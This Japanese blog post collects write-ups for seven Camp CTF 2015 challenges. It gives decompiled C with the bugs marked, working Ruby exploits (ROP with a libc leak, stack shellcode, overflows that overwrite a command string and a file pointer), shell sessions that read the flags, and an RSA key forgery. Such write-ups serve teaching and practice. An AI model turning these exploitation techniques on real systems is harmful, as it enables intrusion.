しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

Camp CTF 2015 writeup

久々の投稿です……

Camp CTF 2015にscryptosで参加しました。

チームで8問解いて1850ptの20位でした(*´ω`*)

解いた7問のwriteupを置いておきます(`・ω・´)


bitterman(pwn:400)

$ ./bitterman
> What's your name?
Charo
Hi, Charo

> Please input the length of your message:
9
> Please enter your text:
AAAAAAAA
> Thanks!

名前・メッセージの長さ・メッセージを入力して終了、というバイナリ。

下調べ。

$ file bitterman
bitterman: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=599b05c28e1ada4f676b83bdcd96f21acda5500c, not stripped
$ checksec.sh --file bitterman
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   bitterman

Cに直すとこんな感じ。

int read_nbytes(char *_buf, long _length){
    long length = _length;  //rbp-0x20
    char *buf = _buf;  //rbp-0x18
    int i;  //rbp-0x4

    while(i < length){
        if(read(0, &buf[i], 1) == 0){
            break;
        }
        if(buf[i++] == '\n'){
            break;
        }
    }

    return i;
}

int main(int _argc, char **_argv){
    int argc = _argc;  //rbp-0xa4
    char **argv = _argv;  //rbp-0xb0
    long length;  //rbp-0x98
    char buf[64];  //rbp-0x90
    char name[64];  //rbp-0x50
    long var_8;  //rbp-0x8

    puts("> What's your name? ");
    fflush(stdout);

    var_8 = read_nbytes(name, 64);

    printf("Hi, %s\n");
    puts("> Please input the length of your message: ");
    fflush(stdout);

    scanf("%llu", &length);

    puts("> Please enter your text: ");
    fflush(stdout);

    var_8 = read_nbytes(buf, length);  //[!] lengthが64以上だとbuffer overflowする
    if(var_8 != 0){
        puts("> Thanks!");
        fflush(stdout);
    }

    return 0;
}

bufのサイズは64バイトだが、lengthのチェックをしていないのでbuffer overflowでスタックを破壊できる。

ということで、ROPでシェルを取る。
(x86_64なROPについてはこちらinaz2先生のスライドが参考になったり)

入出力のバッファリングが有効になっているので、リーク時にはfflushを呼ぶ必要があることに注意する。

#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "challs.campctf.ccc.ac"
    port = 10103
else
    host = "192.168.0.2"
    port = 54321
end

got = {
    "puts" => 0x600c50,
    "read" => 0x600c60,
    "fflush" => 0x600c78,
    "__libc_start_main" => 0x600c68
}
offset = {
    "__libc_start_main" => 0x400550
}
libc_offset = {
    "__libc_start_main" => 0x20950,
    "RCE" => 0x442aa
}

def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0)
    payload = ""
    payload << [0x40084a].pack("Q")
    payload << [0, 1, func, arg3, arg2, arg1].pack("Q*")
    payload << [0x400830].pack("Q")
    payload << [0].pack("Q") * 7

    return payload
end

PwnTube.open(host, port){|tube|
    tube.wait_time = 0

    tube.recv_until("What's your name?")
    tube.send("hoge\n")
    tube.recv_until("length of your message:")
    tube.send("4096\n")

    puts "[*] send rop"
    tube.recv_until("text:")
    payload = ""
    payload << "A" * 0x98
    payload << call_func(got["puts"], got["__libc_start_main"])
    payload << call_func(got["fflush"], 0)
    payload << call_func(got["read"], 0, got["__libc_start_main"], 8)
    payload << call_func(got["__libc_start_main"])
    payload << "\0" * 0x40
    raise if payload.include?("\n")
    tube.send(payload + "\n")

    puts "[*] leak libc base"
    libc_base = tube.recv_capture(/(.{5}\x7f)/)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"]
    printf("libc_base = 0x%016x\n", libc_base)

    puts "[*] overwrite got"
    payload = ""
    payload << [libc_base + libc_offset["RCE"]].pack("Q")  # One-gadget-RCEでシェルを立ち上げる
    tube.send(payload)

    tube.shell
}
$ ruby bitterman.rb
[*] connected
[*] send rop
[*] leak libc base
libc_base = 0x00007f35bf7a2000
[*] overwrite got
[*] waiting for shell...
[*] interactive mode
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls -la
total 40
drwxr-xr-x 2 root root  4096 Aug 13 13:46 .
drwxr-xr-x 3 root root  4096 Aug  5 21:43 ..
-rw-r--r-- 1 root root   220 Aug  5 19:55 .bash_logout
-rw-r--r-- 1 root root  3760 Aug  5 19:55 .bashrc
-rw-r--r-- 1 root root   675 Aug  5 19:55 .profile
-rwxr-xr-x 1 root root 10392 Aug 12 01:28 bitterman
-rw-r--r-- 1 root root    43 Aug 13 13:47 flag.txt
-rwxr-xr-x 1 root root    64 Aug 12 01:34 run.sh
cat flag.txt
CAMP15_a786be6aca70bfd19b6af86133991f80  -
exit
[*] end interactive mode
[*] connection closed

FLAG:CAMP15_a786be6aca70bfd19b6af86133991f80

hacker_level(pwn:200)

$ ./hacker_level
What's your name? Charo
Hello, Charo
Sorry, you're not leet enough to get the flag :(
Your hacker level is: 0x77dd

この問題にはCのソースコードも添付されていた。

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>

static uint32_t level = 0;
static void calc_level(const char *name);

int main() {
    char name[64] = "";

    setbuf(stdin, NULL);        // turn off buffered I/O
    setbuf(stdout, NULL);

    printf("What's your name? ");
    fgets(name, sizeof name, stdin);

    calc_level(name);

    usleep(150000);
    printf("Hello, ");
    printf(name);  //[!] format string bug

    usleep(700000);
    if (level == 0xCCC31337) {
        FILE *f = fopen("flag.txt", "r");
        if (f) {
            char flag[80] = "";
            fread(flag, 1, sizeof flag, f);
            printf("The flag is: ");
            printf(flag);
            fclose(f);
        } else {
            printf("I would give you the flag, but I can't find it.\n");
        }
    } else {
        printf("Sorry, you're not leet enough to get the flag :(\n");
        usleep(400000);
        printf("Your hacker level is: 0x%x\n", level);
    }

    return 0;
}

static void calc_level(const char *name) {
    for (const char *p = name; *p; p++) {
        level *= 257;
        level ^= *p;
    }
    level %= 0xcafe;
}

入力した名前からhacker levelを算出し、hacker levelが0xCCC31337と等しくなればフラグがもらえる仕様になっている。
が、calc_levelの最後でlevel %= 0xcafe;という意地悪をしている。

format string attackを使ったgot overwriteで解いた。
(levelグローバル変数になってるのに今気付いた……)

解き方が某常設CTFの某問に似てるのでexploitは載せません(*´ω`*)

$ ruby hacker_level.rb
[*] connected
[*] format string attack
[*] interactive mode
 Hello,  !�"�#�
                                  @

                  h   �
The flag is: CAMP15_337deec05ccc63b1168ba3379ae4d65854132604
[*] end interactive mode
[*] connection closedn

FLAG:CAMP15_337deec05ccc63b1168ba3379ae4d65854132604

phobos(pwn:300)

$ ./phobos
> What's your name?
Charo
Hi, Charo

> Please input the length of your message:
9
> Please enter your text:
AAAAAAAA
> Thanks!

bittermanをちょっとアレンジしたもの。

下調べ。

$ file phobos
phobos: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=3c111d36955a5e96fc6a2237dc8799520c8edb3f, not stripped
$ checksec.sh --file phobos
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   phobos

今回はNX無効になっている。

Cに直すとこんな感じ。

int read_nbytes(char *_buf, long _length){
    long length = _length;  //rbp-0x20
    char *buf = _buf;  //rbp-0x18
    int i;  //rbp-0x4

    while(i < (unsigned long)length){
        if(read(0, &buf[i], 1) == 0){
            break;
        }
        if(buf[i++] == '\n'){
            break;
        }
    }

    return i;  //[!] 文字列をNULL終端していない
}

int main(int _argc, char **_argv){
    int argc = _argc;  //rbp-0x64
    char **argv = _argv;  //rbp-0x70
    long length;  //rbp-0x58
    char name[64];  //rbp-0x50
    char *buf;  //rbp-0x10
    long var_8;  //rbp-0x8

    puts("> What's your name? ");
    fflush(stdout);

    var_8 = read_nbytes(name, 64);

    printf("Hi, %s\n", name);
    puts("> Please input the length of your message: ");
    fflush(stdout);

    scanf("%llu", &length);
    buf = alloca(?);  //lengthに応じたサイズの領域がスタック上に確保される

    puts("> Please enter your text: ");
    fflush(stdout);

    var_8 = read_nbytes(buf, length);

    if(var_8 != 0){
        puts("> Thanks!");
        fflush(stdout);
    }

    return 0;
}

今回はlengthに応じたサイズの領域が確保されるので、bittermanのようなbuffer overflowはできない。
……と思いきや、lengthに負数を指定するとbufのサイズ < read_nbytesで入力できるサイズになるため、buffer overflowが可能なまま。

NX無効なのでスタックにシェルコードを入れてripを飛ばしたいところだが、スタックのアドレスがわからないと飛ばし先がわからない。

そこで、スタックのどこかにスタックのアドレスが転がってないかなー、と覗いてみると……

gdb-peda$ x/20gx $rsp
0x7fffffffe250: 0x00007fffffffe3a8      0x00000001ffffe3b8
0x7fffffffe260: 0x00007ffff7a251a8      0x00007ffff7ff74c0
0x7fffffffe270: 0x4141414141414141      0x4141414141414141 ←name
0x7fffffffe280: 0x4141414141414141      0x4141414141414141
0x7fffffffe290: 0x4141414141414141      0x4141414141414141
0x7fffffffe2a0: 0x4141414141414141      0x4141414141414141
0x7fffffffe2b0:[0x00007fffffffe3a0]     0x0000000000000000
0x7fffffffe2c0: 0x0000000000000000      0x00007ffff7a36ec5
0x7fffffffe2d0: 0x0000000000000000      0x00007fffffffe3a8
0x7fffffffe2e0: 0x0000000100000000      0x00000000004006ec

nameのすぐ後ろに、使えそうなアドレスが落ちてた。
nameを64バイトにすれば、printf("Hi, %s\n", name);実行時にこのアドレスをリークできる。

#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "challs.campctf.ccc.ac"
    port = 10106
else
    host = "192.168.0.2"
    port = 54321
end

PwnTube.open(host, port){|tube|
    tube.wait_time = 0

    puts "[*] leak stack address"
    tube.recv_until("What's your name?")
    tube.send("A" * 64)
    stack_address = tube.recv_capture(/A{64}(.{6})/)[0].ljust(8, "\0").unpack("Q")[0]
    printf("stack address = 0x%016x\n", stack_address)

    puts "[*] send shellcode"
    tube.recv_until("length of your message:")
    tube.send("-1\n")
    tube.recv_until("Please enter your text:")
    payload = ""
    payload << "A" * 0x88
    payload << [stack_address].pack("Q")
    payload << "\x90" * 0x100
    payload << PwnLib.shellcode_x86_64
    raise if payload.include?("\n")
    tube.send(payload + "\n")

    tube.shell
}
$ ruby phobos.rb
[*] connected
[*] leak stack address
stack address = 0x00007fff39b41980
[*] send shellcode
[*] waiting for shell...
[*] interactive mode
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls -la
total 40
drwxr-xr-x 2 root root  4096 Aug 13 13:55 .
drwxr-xr-x 3 root root  4096 Aug  5 21:43 ..
-rw-r--r-- 1 root root   220 Aug  5 19:55 .bash_logout
-rw-r--r-- 1 root root  3760 Aug  5 19:55 .bashrc
-rw-r--r-- 1 root root   675 Aug  5 19:55 .profile
-rw-r--r-- 1 root root    40 Aug 13 13:55 flag.txt
-rwxr-xr-x 1 root root 10424 Aug 12 01:31 phobos
-rwxr-xr-x 1 root root    61 Aug 12 01:33 run.sh
cat flag.txt
CAMP15_0ae754f04a8782cba9a7ec2c69dc1274
exit
[*] end interactive mode
[*] connection closed

FLAG:CAMP15_0ae754f04a8782cba9a7ec2c69dc1274

ropcalc(pwn:225)

$ nc challs.campctf.ccc.ac 10109
Level [1/5]
Create a ROP chain that calculates: $rax + $rbx (store result in rax)
Enter your solution as a single hex encoded line: 00000000
Seems like the process crashed!

ROPガジェットがたくさん詰まったバイナリが与えられ、指定された演算を行うROPを入力するという問題。

レジスタ同士の演算なら何でもできるという感じ。

gdb-peda$ i func
All defined functions:

Non-debugging symbols:
(略)
0x0000000000400890  mul_rax
0x00000000004008a0  pop_rax
0x00000000004008b0  xor_rax_rax
(略)
0x0000000000400b30  add_rax_rbx
0x0000000000400b40  sub_rax_rbx
0x0000000000400b50  imul_rax_rbx
0x0000000000400b60  xchg_rax_rbx
0x0000000000400b70  mov_rax_rbx

5ステージクリアできたらフラグがもらえる。
なぜかimul r64, r64の結果がrdx:raxに入るという勘違いをしててハマった(/ω\)ハズカシ

#coding:ascii-8bit
require_relative "../../pwnlib"

def send_solution(tube, payload)
    tube.recv_until("hex encoded line:")
    tube.send(payload.unpack("H*")[0] + "\n")
end

PwnTube.open("challs.campctf.ccc.ac", 10109){|tube|
    tube.wait_time = 0

    puts "[*] stage 1"  # $rax + $rbx
    # add rax, rbx
    payload = ""
    payload << [0x400b30].pack("Q")
    send_solution(tube, payload)

    puts "[*] stage 2"  # $rax + $rbx + 1337
    # add rax, rbx
    # pop rbx, 1337
    # add rax, rbx
    payload = ""
    payload << [0x400b30, 0x4008d0, 1337, 0x400b30].pack("Q*")
    send_solution(tube, payload)

    puts "[*] stage 3"  # $rax * $rbx
    # mul rbx
    payload = ""
    payload << [0x4008c0].pack("Q")
    send_solution(tube, payload)

    puts "[*] stage 4"  # $rax * (31337 + $rbx)
    # pop rcx, 31337
    # add rbx, rcx
    # mul rbx
    payload = ""
    payload << [0x400900, 31337, 0x400f90, 0x4008c0].pack("Q*")
    send_solution(tube, payload)

    puts "[*] stage 5"  # $rbx - $r8 + 2015 + $rcx + 23 * $rax - 42 * ($rcx - 5 * $rdx - $rdi * $rsi)
    # ;$rbx = $rbx - $r8 + 2015 + $rcx + 23 * $rax
    # xchg r9, rdx
    # sub rbx, r8
    # pop r8, 2015
    # add rbx, r8
    # add rbx, rcx
    # pop r8, 23
    # imul rax, r8
    # add rbx, rax
    # xchg r9, rdx

    # ;$rax = $rbx - 42 * ($rcx - 5 * $rdx - $rdi * $rsi)
    # pop rax, -5
    # imul rax, rdx
    # add rcx, rax
    # imul rdi, rsi
    # sub rcx, rdi
    # pop rax, -42
    # imul rax, rcx
    # add rax, rbx
    payload = ""
    payload << [0x4028c0, 0x4010e0, 0x4009c0, 2015, 0x4010d0, 0x400f90, 0x4009c0, 23, 0x400ce0, 0x400f40, 0x4028c0].pack("Q*")
    payload << [0x4008a0, -5, 0x400bf0, 0x401350, 0x4020e0, 0x4014a0, 0x4008a0, -42, 0x400ba0, 0x400b30].pack("Q*")
    send_solution(tube, payload)

    tube.interactive
}
$ ruby ropcalc.rb
[*] connected
[*] stage 1
[*] stage 2
[*] stage 3
[*] stage 4
[*] stage 5
[*] interactive mode
 Correct!
--------------------------------------------------------------------------------

The flag is: CAMP15_c0342e0be22dc032de05aa637c8ee8a3

[*] end interactive mode
[*] connection closed

FLAG:CAMP15_c0342e0be22dc032de05aa637c8ee8a3

secret_file(pwn:150)

$ ./secret_file
hogehoge
wrong password!

パスワードを入力し、認証が通れば/bin/cat ./secret_data.ascが実行されるプログラム。

Cに直すとこんな感じ。

void compute_hash(char *in, char *out, long length){
    //inの先頭lengthバイトのSHA256ハッシュをoutに出力
}

int main(){
    int var_0;  //rsp+0x0
    char *lineptr;  //rsp+0x8
    char buf[256];  //rsp+0x10
    char command[27];  //rsp+0x110
    char password_hash[65];  //rsp+0x12b
    char digest[32];  //rsp+0x16c
    char hexdigest[64];  //rsp+0x18c
    int var_1cc;  //rsp+0x1cc
    char var_1d0[264];  //rsp+0x1d0
    long canary;  //rsp+0x2d8
    unsigned long v1;  //rax
    char *v2;  //rbp
    char *v3;  //rbx
    FILE *p;  //rbp

    memset(buf, 0, 256);
    snprintf(command, 27, "%s", "/bin/cat ./secret_data.asc");
    snprintf(password_hash, 65, "%s", "9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127");

    /*パスワード入力*/
    if(getline(&lineptr, &var_0, stdin) == -1){
        return 1;
    }
    if((v1 = strrchr(lineptr, '\n')) == NULL){
        return 1;
    }
    lineptr[v1] = '\0';

    /*パスワードをスタック内にコピー*/
    strcpy(buf, lineptr);  //[!] 256文字以上だとbuffer overflow

    /*パスワードのSHA256ハッシュを求める*/
    compute_hash(buf, digest, 256);  //[!] 先頭256byteのみ

    /*SHA256をhexエンコード*/
    v2 = digest;
    v3 = hexdigest;
    while(1){
        snprintf(v3, 3, "%02x", v2);
        v2 += 1;
        v3 += 2;
        if(v2 == &var_1cc){
            break;
        }
    }

    /*ハッシュが違ったらkick*/
    if(!strcmp(password_hash, hexdigest)){
        puts("wrong password!");
        exit(1);
    }

    /*ハッシュが合えばコマンドを実行して結果を出力*/
    if((p = popen(command, "r")) == NULL){
        return 1;
    }
    while(fgets(var_1d0, 0x100, p)){
        printf("%s", var_1d0);
    }
    fclose(p);

    return 0;
}

strcpyでいろいろ上書きできる。

  • buf"A" * 256
  • commandcat ./flag.txt
  • password_hashSHA256("A" * 256)

とすればフラグが取れる。

#coding:ascii-8bit
require_relative "../../pwnlib"
require "openssl"

hash = OpenSSL::Digest::SHA256.hexdigest("A" * 0x100)

PwnTube.open("challs.campctf.ccc.ac", 10105){|tube|
    tube.wait_time = 0

    puts "[*] send payload"
    payload = ""
    payload << "A" * 0x100
    payload << "/bin/cat ./flag.txt".ljust(26, " ") + ";"
    payload << hash
    tube.send(payload + "\n")

    tube.interactive
}
$ ruby secret_file.rb
[*] connected
[*] send payload
[*] interactive mode
sh: 1: e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb: not found
CAMP15_82da7965eb0a3ee1fb4d5d0d8804cc409ad04a4f5e06be2f2bbdbf1c0cd638a7
[*] end interactive mode
[*] connection closed

shell(pwn:300)

$ nc challs.campctf.ccc.ac 10117
$ help
sh whoami date exit ls help hlep login
$ ls
creds.txt
flag.txt
run.sh
shell
$ sh
Permission denied
$ login
Username: hoge
Password: hoge
Authentication failed!
$ exit

簡易シェル。

Cに直すとこんな感じ。

typedef struct{
    char *name;
    void (*func)();
    long needs_permission;
} Command;

Command commands[] = {  //0x6014e0
    {"sh", sh, 1},  //sh: system("sh")するだけの関数
    {"whoami", whoami, 0},  //whoami: system("whoami")するだけの(ry
    {"date", date, 0},
    {"exit", exit_, 0},
    {"ls", ls, 0},
    {"help", help, 0},
    {"hlep", help, 0},
    {NULL, NULL, 0}
};

Command *get_command(char *_command_name){
    Command *var_20 = commands;  //rbp-0x20
    char *command_name = _command_name;  //rbp-0x18
    long canary;  //rbp-0x8

    while(var_20->name != NULL){
        if(!strcmp(var_20->name, command_name)){
            return commands;
        }
        var_20 += 1;
    }

    return NULL;
}

int main(int _argc, char **_argv){
    Command *command;  //rbp-0xc0
    int var_a8;  //rbp-0xa8
    int var_a0;  //rbp-0xa0
    char *lineptr;  //rbp-0x98
    FILE *fp;  //rbp-0x90
    char prompt;  //rbp-0x81
    int authorized = 0;  //rbp-0x80
    char typed_username[32];  //rbp-0x7c
    char typed_password[32];  //rbp-0x5c
    char command_name[36];  //rbp-0x3c
    char *filename = "creds.txt";  //rbp-0x18
    char **argv = _argv;  //rbp-0x10
    int argc = _argc;  //rbp-0x8
    int var_4 = 0;  //rbp-0x4

    setvbuf(stdout, 0, 2, 0);
    prompt = '$';

    while(1){
        printf("%c ", prompt);
        gets(command_name);  //[!] buffer overflow

        if(!strcmp(command_name, "login")){
            printf("Username: ");
            gets(typed_username);  //[!] buffer overflow
            printf("Password: ");
            gets(typed_password);  //[!] buffer overflow

            fp = fopen(filename, "r");
            lineptr = NULL;
            while(1){
                var_a0 = getline(&lineptr, &var_a8, fp);
                if(var_a0 < 0){
                    free(lineptr);
                    break;
                }
                lineptr[var_a0 - 1] = '\0';
                username = strtok(lineptr, ":");
                password = strtok(NULL, ":");
                if(username && password && !strcmp(typed_username, username) && !strcmp(typed_password, password)){
                    puts("Authenticated!");
                    prompt = '#';
                    authorized = 1;
                    break;
                }
                free(lineptr);
                lineptr = NULL;
            }
            if(!authorized){
                puts("Authentication failed!");
            }
            fclose(fp);
        }else{
            command = command_get(command_name);
            if(command == NULL){
                puts("Command not found");
                continue;
            }
            if(command->needs_permission != 1 || authorized == 1){
                command->exec();
            }else{
                puts("Permission denied");
            }
        }
    }

}

getsでbuffer overflowを起こすことができる。

mainが無限ループなのでリターンアドレスを書き換えても意味がないが、loginコマンドに関わるfilenameはコントロールできそう。

loginコマンドが成功すればshコマンドが使えるようになるので、loginを通す方法を考える。

バイナリ中に含まれる文字列を探してみると……

$ strings shell
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
exit
fopen
puts
(略)

/lib64/ld-linux-x86-64.so.2が見つかった。

filenamecreds.txtではなく/lib64/ld-linux-x86-64.so.sを指すようにすれば、このファイルの情報を使ってloginを通すことができる。

#coding:ascii-8bit
require_relative "../../pwnlib"

PwnTube.open("challs.campctf.ccc.ac", 10117){|tube|
    tube.wait_time = 0

    puts "[*] overwrite filename"
    tube.recv_until("$")
    payload = ""
    payload << "A" * 36
    payload << [0x400200].pack("Q")  # filenameのポインタを"/lib64/ld-linux-x86-64.so.2"に向ける
    tube.send(payload + "\n")

    puts "[*] login"
    tube.recv_until("$")
    tube.send("login\n")
    tube.recv_until("Username:")
    tube.send("prelink checking\n")
    tube.recv_until("Password:")
    tube.send(" %s\n")

    puts "[*] launch shell"
    tube.recv_until("#")
    tube.send("sh\n")

    tube.shell
}
$ ruby shell.rb
[*] connected
[*] overwrite filename
[*] login
[*] launch shell
[*] waiting for shell...
[*] interactive mode
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls -la
total 44
drwxr-xr-x 2 root root  4096 Aug 13 17:40 .
drwxr-xr-x 3 root root  4096 Aug  5 21:43 ..
-rw-r--r-- 1 root root   220 Aug  5 19:55 .bash_logout
-rw-r--r-- 1 root root  3760 Aug  5 19:55 .bashrc
-rw-r--r-- 1 root root    53 Aug 12 01:29 creds.txt
-rw-r--r-- 1 root root    40 Aug 13 17:40 flag.txt
-rw-r--r-- 1 root root   675 Aug  5 19:55 .profile
-rwxr-xr-x 1 root root    62 Aug 12 01:29 run.sh
-rwxr-xr-x 1 root root 10664 Aug 12 01:29 shell
cat flag.txt
CAMP15_408eed038796cfca32e2fdb3a8126429
exit
# exit
[*] end interactive mode
[*] connection closed

FLAG:CAMP15_408eed038796cfca32e2fdb3a8126429

keycheck(reversing:200)

$ ./keycheck
Enter username: hoge
Enter key: piyo
Registration data invalid.

認証が通るusernameとkeyを探す問題。

ltraceで処理を眺めてみると……

$ ltrace -i ./keycheck
[0x400749] __libc_start_main(0x400820, 1, 0x7fff499277b8, 0x400a00 <unfinished ...>
[0x400862] setvbuf(0x7fdb73786400, 0, 2, 0)      = 0
[0x400876] printf("Enter username: "Enter username: )            = 16
[0x400896] getline(0x7fff499276a8, 0x7fff49927698, 0x7fdb73786640, -1hoge
) = 5
[0x4008b5] printf("Enter key: "Enter key: )                 = 11
[0x4008d5] getline(0x7fff499276a0, 0x7fff49927690, 0x7fdb73786640, -1piyo
) = 5
[0x4008ec] pipe(0x7fff499276b4)                  = 0
[0x4008f4] fork()                                = 3757
[0x40090c] close(3)                              = 0
[0x40097f] write(4, "#!/usr/bin/python\n\nimport argpar"..., 1118) = 1118
[0x40098b] close(4)                              = 0
[0x40099c] waitpid(3757, 0, 0Registration data invalid.
 <no return ...>
[0x7fdb73487b4c] --- SIGCHLD (Child exited) ---
[0x40099c] <... waitpid resumed> )               = 3757
[0xffffffffffffffff] +++ exited (status 0) +++

pythonコードが見える。

ダンプさせるとこんなコードがでてきた。

#!/usr/bin/python

import argparse
import hashlib
import sys
from Crypto.PublicKey import RSA

try:
    FLAG = open("flag.txt").read().strip()
except:
    FLAG = "CAMP15_DUMMY_FLAG"


pubkey = """-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRALSMJB2tLS9JUsjztc0Q1vkCAwEAAQ==
-----END PUBLIC KEY-----
"""


def bad_reg_data():
    print "Registration data invalid."
    sys.exit(-1)

def main(reg_user, reg_key):
    try:
        reg_key = reg_key.decode("base64")
    except:
        bad_reg_data()

    ist_md5 = hashlib.md5(reg_user).hexdigest()[0:23] + "0"
    pubrsa = RSA.importKey(pubkey)

    try:
        soll_md5 = pubrsa.encrypt(reg_key, None)[0]
        soll_md5 = soll_md5.encode("hex")[0:23] + "0"
    except:
        bad_reg_data()

    if soll_md5 == ist_md5:
        print "Registration completed successfully."
        print "Here is your flag: {0}".format(FLAG)
    else:
        bad_reg_data()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("user")
    parser.add_argument("key")
    args = parser.parse_args()

    main(args.user, args.key)

md5(username)の先頭92bit == keyをRSA暗号化したものの先頭92bitになればOK。

簡略化して整理すると、

            md5(username) = RSAencrypt(key)
RSAdecrypt(md5(username)) = RSAdecrypt(RSAencrypt(key))
                    ∴key = RSAdecrypt(md5(username))

となる。

公開鍵のnが小さいので、素因数分解して秘密鍵を復元した上でmd5(username)を復号→base64エンコードすればkeyが求まる。

#coding:ascii-8bit
require "openssl"
require_relative "../../pwnlib"
require "base64"

key = <<EOS
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRALSMJB2tLS9JUsjztc0Q1vkCAwEAAQ==
-----END PUBLIC KEY-----
EOS

reg_user = "hoge"

key = OpenSSL::PKey::RSA.new(key)
key.p = 15448096144646045267  # sageで素因数分解した
key.q = 15535163108278055939
key.complete_private_key!

reg_key = key.private_decrypt([OpenSSL::Digest::MD5.hexdigest(reg_user)[0...23] + "0"].pack("H*"), OpenSSL::PKey::RSA::NO_PADDING)

puts "username: #{reg_user}"
puts "key: #{Base64.encode64(reg_key)}"

#=> username: hoge
#   key: pFiUPR0nChfn0eiwOUn7Gg==
$ nc challs.campctf.ccc.ac 10114
Enter username: hoge
Enter key: pFiUPR0nChfn0eiwOUn7Gg==
Registration completed successfully.
Here is your flag: CAMP15_dc71d59e50c5fc4cd7604db75da16de8

FLAG:CAMP15_dc71d59e50c5fc4cd7604db75da16de8